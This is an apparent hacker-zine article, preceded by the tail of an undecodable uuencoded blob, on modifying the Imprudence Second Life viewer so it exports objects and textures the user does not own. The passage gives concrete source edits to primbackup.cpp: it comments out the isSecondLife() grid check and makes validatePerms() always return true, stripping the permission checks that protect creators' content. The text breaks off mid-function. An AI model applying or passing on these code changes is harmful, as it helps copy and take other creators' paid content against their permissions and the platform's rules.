MQKA4!D>9EO1#4;<F/X#!`F$AZX8LY>0EZ7.[INOA'%A?X'0T8A%?@T^!+N'/
|
||
|
MI<C6YY+0;F.!2%%M-LY\_>;H^POV7VQP^PWX_K71'Q$*[-MK'N7ZU!#P=<N0
|
||
|
MRZP4-;#UTZ$V.@7=*U`%'<1[>O33\?3R_'1Z\JJ+4C"RW&HH`"'8M=D&@/5S
|
||
|
M?62+HFK4>7V4:KLX?SDB$:QS[.0,'*_,1QK8JXO+[0,"V/+'D6?CPD:6K:#\
|
||
|
M_.[XXO+D[>D4FZ'-MNR'B7\$#*.<YR1?`4OB:(V&3Q\\Z#B,E%_`CDY?@:>6
|
||
|
MC,"G9F_/V2P#!?1!D8V>YHNDC()IIH`U=WW+<I%AXZU\K,8$('[;!@$O.PU>
|
||
|
M$K!QVZG!8]N1,,9M=P44&WNN\#]>!EH2.+9GHQP-P:;`>&MW;\_J-GF[L482
|
||
|
MV_J(N@PW!M<`[9RJXR=*D@\,#G=P48R28SLY(3&/PE_U:8\;0LN9E6$4;#LL
|
||
|
M$.[1''<*.^=A!JO&F,#%8PT=?K);7I-K+6=)>DNM);<=JLJB:>\&ML=M.'O=
|
||
|
MK=H$9_=:KHXHL3KW2?'.=^5\KA8#^YF6!<S+PT`R!!B7>LWQEW2.I\#9G)4I
|
||
|
MD"-/[2B)(4[2S,I=8B*<]N!NX7+RTO<Q=@-'6C0!AN-AXS<0,9U)FL;L:M+H
|
||
|
MPU-"LZ@Z1LA%:'"ON41B;ARD3C5UJR.J?>/QH-N>?[>EW$*W/I,LQGJ]0^R[
|
||
|
M`#*U<*'-0L,:DBF5#J5>"?19CAZ`OD=U4N+@[HAFF\8M5(3H#@P[30X_0+R2
|
||
|
M&TFMLE$835O;!]J_Q+;W'IPWIUIRZR3M-+US<R*WW'.SD-J)>@83T#LG[P\5
|
||
|
M-(%?E#RI*R[*YG5X(V(-K.V(\RUG<"Q6,GZJ!3U>+&[1\:Y&0)RCAZB01X_1
|
||
|
M9ER%$)7!:/E#,/T8.C,'K.=8TP>&TX5_QPI%MSVG/V8G9XT9;6MMID-`NV7V
|
||
|
MNU=G#@7Q8XB=W$!_VS:T[7@XM0-^$_V&FU+W!S8B_JT?<ES&X+;L#0:/F_'S
|
||
|
MJY=OWYU>CA\Y_.A4#A\^;OCIQ9=!/_^BX0T?X#'\;$QX'(Z+=Z]?G_SM,<#E
|
||
|
MR$?RY=V;-U^\RLN_GWW9*G'"%^)X^>;HXN*+D-",K@2S107.^<JI18>G?"F#
|
||
|
MU5P%I"D/`O`=P,)APW"?^0N>Y=):QV4455$H>B<.#.BQEL%^PBA=9[>P5]0#
|
||
|
M#5U/Q;`FVL$8OF;C*0@+T)'4Z3X;`O%;B.&(#`PULD*'XVF6%(F?1-X=<4WG
|
||
|
MWYTP_S_VH?N?((-SZ'>X^%&?^^]_=@?[P_W6_<_NTV?_N?_Y0SYWW_\8H=BX
|
||
|
M^)$]YD*E?DE$+C,UYB*3T_^0^Q]]^Y&O<_T5;%22%OI7L0"/!UU",[1&9:-)
|
||
|
MKZ;30></*(H=Z=SM[.R`%UQ@Q$!I)UAI%$(T!EB`*[G'C@(*(Y9X$Z(:\:HB
|
||
|
M3?(\G$6"S=;L/8@;XX%.$BX9^%B"F+;`-`PV!\DJ!O,=)2L/4<H+D0M*'Q;`
|
||
|
MLASLM[\0B`Z3F(2&1S)6F6,4C6B`<EY&F#9:B!`B&K">`K.6N<P18]L-CTKI
|
||
|
MAT)82D<!<(-@3XMD&N-A,F:?F'UCC^`_TNW>O!RI/G:.`WD)G"MCQ5?[,U&_
|
||
|
M!2R,SW"\B;]ME]T#.\2Q)LJY?RPG.G3L?O_8.8[%&Q`8"32+X/[A"QR^2/("
|
||
|
M=D,O\=X)2P,?_?"'$11$>U%@Q%<P=6&N%HS+J+^+$$^3A%!;CWCPQHK1!$
|
||
|
M3X'KRUQM);HO82:"J19##'!M1`I[Y"+S7>2JBTN9T`RZF(L@V%!3T-6(^'(6
|
||
|
M0(`T:HG&53ZA2(^BX4:/]T&L<Z=+P?^&H,*T;I,Z;,WIPB=UV@2XFXN0LW>.
|
||
|
MB/$,&0^>R1)-$T23#D1.E&&IWS>BT6&(Q37W)=SW15IP5'2U4I)V5#D*8'9>
|
||
|
MXT5YC.(#YDS<IE$2%KE;AZINH+9P;4I8*M9%;'3'XB*5$JY)42Y5SA[`ECJ(
|
||
|
MP=TZEW"XS`$A<;O=[EW280\1C`VK``7CP3*,O?>Y?3](!V351?WI(OR<X-^-
|
||
|
M8)<0D.QER2I_#'@49H!+X`.%"CZ?&6;9M/'&K!)=2VN#C>:5F&URC="%>9_L
|
||
|
M&GDF3Q!/_G'@:/&@X^9J.)JXEB73!VU15'**J8Y'1`?62(.Y"PB,(.$1MRA<
|
||
|
MFDH0WV(*Q^]TQH-IF?-KX5@G,5CT,#"+LZ08Z',().`SVV&?;$1@HUS;L!BE
|
||
|
MU7B2)[!LQ1R3>]HY*^FB;`YQ`1V>S.[I6,!H<W(UG#12F;(#57@[<VK)&T7=
|
||
|
MU:9&T\_)I)DV%5$3_F.AWPF;;[]H4`E"RLE"2(7.SH(28BX+"[:B9KP_]WF)
|
||
|
M3LUJ(6+X'M'QK82F?FOQT&;)E%C2K23U6-YT03"4"JRN@4DU9^!5$ML%WF$F
|
||
|
M*]B8>9$@@2BSA!58A-_ODY4WM4E4^.#D724O.PJUMI'&WZ`Z`DP)"8T%+X/`
|
||
|
MNCE-J]OUPCPO9SE=-Q6.%D<ETMW[R/H)9B(+#6XY>9,X7C/4>2K\<![Z4FD-
|
||
|
MD<S!1+D.*A,,1$,PX=6RT!-2.SRCNW2B&6>L5(5$)GP!CFY`=QL$IX0CMEM?
|
||
|
M/LHF2B(:)V.;`<=(,^8!;MQI`YOV^TI+<L,WF$Q`\[Z,H7)ZS_"LP6`$5/=S
|
||
|
ME1/9-)>UQ;<<F[IE;:JBH;XY`170&@Q&S7\H8UO7QYTPQ@D?\<@$QQPS]J@4
|
||
|
M/@=/`&!Y#R.YJ\LC2"HKJA>E7=U'+$</G=0OL#2<EB?\"'"M&154!?;.@1N0
|
||
|
M6BYJ@P>59SQI3]MP)>^<:`S521P:`:%CA.Z<=`F$"0SU22N=GRDG`9XB'P"#
|
||
|
M+)[1V@.-HZ;P0\OD:C!A?Y+ND=OHU:HD*?JN?>-%-'&BJNC!%BBWR]M@:5VO
|
||
|
M<*\V*1WI,T[<3JM353ML]\(;C\EKJMUAU4'85]8G$P=]QKJ/3]5.E%GTV9K8
|
||
|
MGBP_=,RXL4%5A5`3Z8R:B>-[=E;GU%LG7X.P2IZJ,:4N-CB8F8\NR5*$=
|
||
|
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
|
||
|
2X,"!`P<.7A_^`BMJX<X`>```
|
||
|
`
|
||
|
end
|
||
|
|
||
|
|
||
|
|=[ 0x05 ]=---=[ Hacking the Second Life Viewer For Fun & Profit - Eva ]-=|
|
||
|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=------------------------=[ 01110010011000010110 ]=---------------------=|
|
||
|
|=------------------------=[ 01100110010101101110 ]=---------------------=|
|
||
|
|=------------------------=[ 10010110111001110011 ]=---------------------=|
|
||
|
|=------------------------=[ 01110011011001010111 ]=---------------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|
||
|
Index
|
||
|
|
||
|
------[ N. Preamble
|
||
|
------[ I. Part I - Objects
|
||
|
------[ II. Part II - Textures
|
||
|
II. i. Textures - GLIntercept
|
||
|
------[ III. Postamble
|
||
|
------[ B. Bibliography
|
||
|
------[ A. Appendix
|
||
|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|
||
|
------[ N. Preamble
|
||
|
|
||
|
Second Life [1] is a virtual universe created by Linden Labs [2] which
|
||
|
allows custom content to be created by uploading different file formats. It
|
||
|
secures that content with a permission mask "Modify / Copy / Transfer",
|
||
|
which allows creators to protect their objects from being modified, copied
|
||
|
or transferred from avatar to avatar. The standard viewer at the time of
|
||
|
this writing is 2.x but the 1.x old codebase is still around and it is
|
||
|
still the most wide-spread one. Then, we have third party viewers, and
|
||
|
those are viewers forked off the 1.x codebase and then "extended" to modify
|
||
|
the UI and add features for convenience.
|
||
|
|
||
|
Second Life works on the principle of separately isolated servers called
|
||
|
SIMs (from, simulator, now recently renamed to "Regions") which are
|
||
|
interconnected to form grids. The reasoning is that, if one SIM goes down,
|
||
|
it will become unavailable but it will not take down the entire grid. A
|
||
|
grid is just a collection of individual SIMs (regions) bunched together.
|
||
|
|
||
|
Avatars are players that connect to the grid using a viewer and navigate
|
||
|
the SIMs by "teleporting" from one SIM to the other. Technically, that
|
||
|
just means that the viewer is instructed to connect to the address of a
|
||
|
different SIM.
|
||
|
|
||
|
A viewer is really just a Linden version of a web browser (literally) which
|
||
|
relies on loads of Open Source software to run. It renders the textures
|
||
|
around you by transferring them from an asset server. The asset server is
|
||
|
just a container that stores all the content users upload onto Second Life.
|
||
|
Whenever you connect to a SIM, all the content around you gets transferred
|
||
|
to your viewer, just like surfing a website.
|
||
|
|
||
|
There are a few content types in Second Life that can be uploaded by users:
|
||
|
|
||
|
1.) Images
|
||
|
2.) Sounds
|
||
|
3.) Animations
|
||
|
|
||
|
Whenever I talk about "textures", I am talking about the images that users
|
||
|
have uploaded onto Second Life. In order to upload one of them onto Second
|
||
|
Life, you have to pay 10 Linden dollars. Linden maintains a currency
|
||
|
exchange from Linden dollars to real dollars.
|
||
|
|
||
|
At any point, depending on the build permission of the SIM you are
|
||
|
currently on, you are able to create objects. Those are just basic
|
||
|
geometric shapes called primitives, (or prims for short) such as cubes,
|
||
|
spheres, prisms, etc... After you created a primitive, you can decorate
|
||
|
it with images or use the Linden Scripting Language LSL [3] to trigger
|
||
|
the sounds you uploaded or animate avatars like yourself. There is a lot
|
||
|
to say about LSL, but it exceeds the scope of the article. You can also
|
||
|
link several such primitives together to form a link set which, in turn,
|
||
|
is called an object. (LISP fans dig in, Second Life is all about lists -
|
||
|
everything is a list.)
|
||
|
|
||
|
Coming back to avatars, your avatar has so called attachment-points which
|
||
|
allow you to attach such an object to yourself. Users create content, such
|
||
|
as hats, skirts, and so on and they sell them to you and you attach them to
|
||
|
these attachment points.
|
||
|
|
||
|
In addition to that, there are such things called wearables. Those are
|
||
|
different from attachments because they are not made up of objects but they
|
||
|
are rather simple textures that you apply to yourself. Those do not have
|
||
|
any geometric properties in-world and function on the principle of layers,
|
||
|
hiding the layer underneath. Finally, you have body parts which are also
|
||
|
just textures. For example, eyes, your skin.
|
||
|
|
||
|
The wearable layers get superimposed (baked) on you. For example, if you
|
||
|
wear a skin and a T-shirt, the T-shirt texture will hide part of the skin
|
||
|
texture underneath it.
|
||
|
|
||
|
We are going to take a standard viewer: we will use the Imprudence [4]
|
||
|
viewer, the current git version of which has such an export feature and we
|
||
|
are going to modify it so it will allow exports of any in-world object.
|
||
|
Later on, the usage of GLIntercept [7] will be mentioned since it can be
|
||
|
used to export the wearables and the body parts mentioned which are just
|
||
|
textures.
|
||
|
|
||
|
Why does this work? There are a number of restrictions which are enforced
|
||
|
by the server, and a number of actions that the server cannot control. For
|
||
|
example, every action you trigger in Second Life usually gets a permission
|
||
|
check with the SIM you are triggering the action on. Your viewer interprets
|
||
|
the response from the SIM and if it is given the green light, your viewer
|
||
|
goes ahead and performs the action you requested.
|
||
|
|
||
|
Say, for example, that the viewer does not care whether the SIM approves it
|
||
|
or not and just goes ahead and does it anyway. Will that work? It depends
|
||
|
whether the SIM checks again. Some viewers have a feature called "Enable
|
||
|
always fly.", which allows you to fly around in no-fly zones which is an
|
||
|
instance of the problem. The SIM hints the viewer that it is a no-fly zone,
|
||
|
however the viewer ignores it and allows you to fly regardless.
|
||
|
|
||
|
Every avatar is independent in this aspect and protected from other avatars
|
||
|
by a liability dumping prompt. Whenever an avatar wants to interact with
|
||
|
you, you are prompted to allow them permission to do so. However, the
|
||
|
graphics are always displayed and your viewer renders other avatars without
|
||
|
any checks. One annoyance, for example, is to spam particles generated by
|
||
|
LSL. Given a sufficiently slow computer, your viewer will end up
|
||
|
overwhelmed and crash eventually. These days, good luck with that...
|
||
|
|
||
|
But how do we export stuff we do not own, doesn't the server check for
|
||
|
permissions? Not really, we are not going to "take" the object in the sense
|
||
|
of violating the Second Life permissions. We are going to scan the object
|
||
|
and note down all the parameters that the viewer can see. We are then going
|
||
|
to store that in an XML file along with the textures as well. This will be
|
||
|
done automatically using Imprudence's "Export..." feature.
|
||
|
|
||
|
Whenever you upload any of the content types mentioned in the previous
|
||
|
chapter, the Linden asset server generates an asset ID which is basically
|
||
|
an UUID that references the content you uploaded. The asset server
|
||
|
(conveniently for us) does not carry out any checks to see whether there is
|
||
|
a link between an object referencing that UUID and the original uploader.
|
||
|
Spelled out, if you manage to grab the UUID of an asset, you can reference
|
||
|
it from an object you create.
|
||
|
|
||
|
For example, if a user has uploaded a texture and I manage to grab the UUID
|
||
|
of the texture generated by the asset server, then I can use LSL to display
|
||
|
it on the surface of a primitive. It is basically just security through
|
||
|
obscurity (and bugs)...
|
||
|
|
||
|
------[ I. Part I - Objects
|
||
|
|
||
|
The "Export..." feature on the viewers we attack is not an official feature
|
||
|
but rather a feature implemented by the developers of the viewers
|
||
|
themselves. That generally means that the viewer only implements certain
|
||
|
checks at the client level without them being enforced by the server. The
|
||
|
"Export..." feature is just a dumb feature which scans the object's
|
||
|
measurements, grabs the textures and dumps the data to an XML file and
|
||
|
stores image files separately.
|
||
|
|
||
|
Since it is a client-side check, we can go ahead and download Imprudence
|
||
|
(the same approach would work on the Phoenix [5] client too) and knock out
|
||
|
all these viewer checks.
|
||
|
|
||
|
After you cloned the Imprudence viewer from the git repo, the first file we
|
||
|
edit is at linden/indra/newview/primbackup.cpp.
|
||
|
|
||
|
Along the very fist lines there is a routine that sets the default
|
||
|
textures, I do not think this is needed to make our "Export..." work, but
|
||
|
it is a good introduction to what is going on in this article:
|
||
|
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
void setDefaultTextures()
|
||
|
{
|
||
|
if (!gHippoGridManager->getConnectedGrid()->isSecondLife())
|
||
|
{
|
||
|
// When not in SL (no texture perm check needed), we can
|
||
|
// get these defaults from the user settings...
|
||
|
LL_TEXTURE_PLYWOOD =
|
||
|
LLUUID(gSavedSettings.getString("DefaultObjectTexture"));
|
||
|
LL_TEXTURE_BLANK =
|
||
|
LLUUID(gSavedSettings.getString("UIImgWhiteUUID"));
|
||
|
if (gSavedSettings.controlExists("UIImgInvisibleUUID"))
|
||
|
{
|
||
|
// This control only exists in the
|
||
|
// AllowInvisibleTextureInPicker patch
|
||
|
LL_TEXTURE_INVISIBLE =
|
||
|
LLUUID(gSavedSettings.getString("UIImgInvisibleUUID"));
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
The viewer uses a method isSecondLife() to check if it is currently on the
|
||
|
official grid. Depending on the outcome of this method, the viewer
|
||
|
internally takes decisions on whether certain things are allowed so that
|
||
|
the viewer will conform to the Linden third-party viewer (TPV) policy [6].
|
||
|
The TPV policy is a set of rules that the creator of a viewer has to
|
||
|
respect so that the viewer will be granted access to the Second Life grid
|
||
|
(ye shall not steal, ye shall not spam, etc...).
|
||
|
|
||
|
However, these checks are client-side only. They are used internally within
|
||
|
the viewer and they have nothing to do with the Linden servers. What we do,
|
||
|
is knock them out so that the viewer does not perform the check to see if
|
||
|
it is on the official grid. In this particular case, we can knock out the
|
||
|
check easily by eliminating the if-clause, like so:
|
||
|
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
void setDefaultTextures()
|
||
|
{
|
||
|
//if (!gHippoGridManager->getConnectedGrid()->isSecondLife())
|
||
|
//{
|
||
|
// When not in SL (no texture perm check needed), we can
|
||
|
// get these defaults from the user settings...
|
||
|
LL_TEXTURE_PLYWOOD =
|
||
|
LLUUID(gSavedSettings.getString("DefaultObjectTexture"));
|
||
|
LL_TEXTURE_BLANK =
|
||
|
LLUUID(gSavedSettings.getString("UIImgWhiteUUID"));
|
||
|
if (gSavedSettings.controlExists("UIImgInvisibleUUID"))
|
||
|
{
|
||
|
// This control only exists in the
|
||
|
// AllowInvisibleTextureInPicker patch
|
||
|
LL_TEXTURE_INVISIBLE =
|
||
|
LLUUID(gSavedSettings.getString("UIImgInvisibleUUID"));
|
||
|
}
|
||
|
//}
|
||
|
}
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
Without this check, the viewer assumes that we are on any grid but the
|
||
|
Second Life grid. You probably can notice that these checks are completely
|
||
|
boilerplate.
|
||
|
|
||
|
Let us move on to the next stop. Somewhere in
|
||
|
linden/indra/newview/primbackup.cpp you will find the following:
|
||
|
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
bool PrimBackup::validatePerms(const LLPermissions *item_permissions)
|
||
|
{
|
||
|
if(gHippoGridManager->getConnectedGrid()->isSecondLife())
|
||
|
{
|
||
|
// In Second Life, you must be the creator to be permitted to
|
||
|
// export the asset.
|
||
|
return (gAgent.getID() == item_permissions->getOwner() &&
|
||
|
gAgent.getID() == item_permissions->getCreator() &&
|
||
|
(PERM_ITEM_UNRESTRICTED & item_permissions->getMaskOwner())
|
||
|
== PERM_ITEM_UNRESTRICTED);
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
// Out of Second Life, simply check that you're the owner and the
|
||
|
// asset is full perms.
|
||
|
return (gAgent.getID() == item_permissions->getOwner() &&
|
||
|
(item_permissions->getMaskOwner() & PERM_ITEM_UNRESTRICTED)
|
||
|
== PERM_ITEM_UNRESTRICTED);
|
||
|
}
|
||
|
}
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
This checks to see if you have full permissions, and are the owner and the
|
||
|
creator of the object you want to export. This only applies to the Second
|
||
|
Life grid. If you are not on the Second Life grid, then it checks to see if
|
||
|
you are the owner and have full permissions. We will not bother and will
|
||
|
modify it to always return that all our permissions are in order:
|
||
|
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
bool PrimBackup::validatePerms(const LLPermissions *item_permissions)
|
||
|
{
|
||
|
return true;
|
||
|
}
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
The next stop is in the same file, at the following method:
|
||
|
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
LLUUID PrimBackup::validateTextureID(LLUUID asset_id)
|
||
|
{
|
||
|
if (!gHippoGridManager->getConnectedGrid()->isSecondLife())
|
||
|
{
|
||
|
// If we are not in Second Life, don't bother
|
||
|
return asset_id;
|
||
|
}
|
||
|
|
||
|
LLUUID texture = LL_TEXTURE_PLYWOOD;
|
||
|
if (asset_id == texture ||
|
||
|
asset_id == LL_TEXTURE_BLANK ||
|
||
|
asset_id == LL_TEXTURE_INVISIBLE ||
|
||
|
asset_id == LL_TEXTURE_TRANSPARENT ||
|
||
|
asset_id == LL_TEXTURE_MEDIA)
|
||
|
{
|
||
|
// Allow to export a grid's default textures
|
||
|
return asset_id;
|
||
|
}
|
||
|
LLViewerInventoryCategory::cat_array_t cats;
|
||
|
|
||
|
// yadda, yadda, yadda, blah, blah, blah...
|
||
|
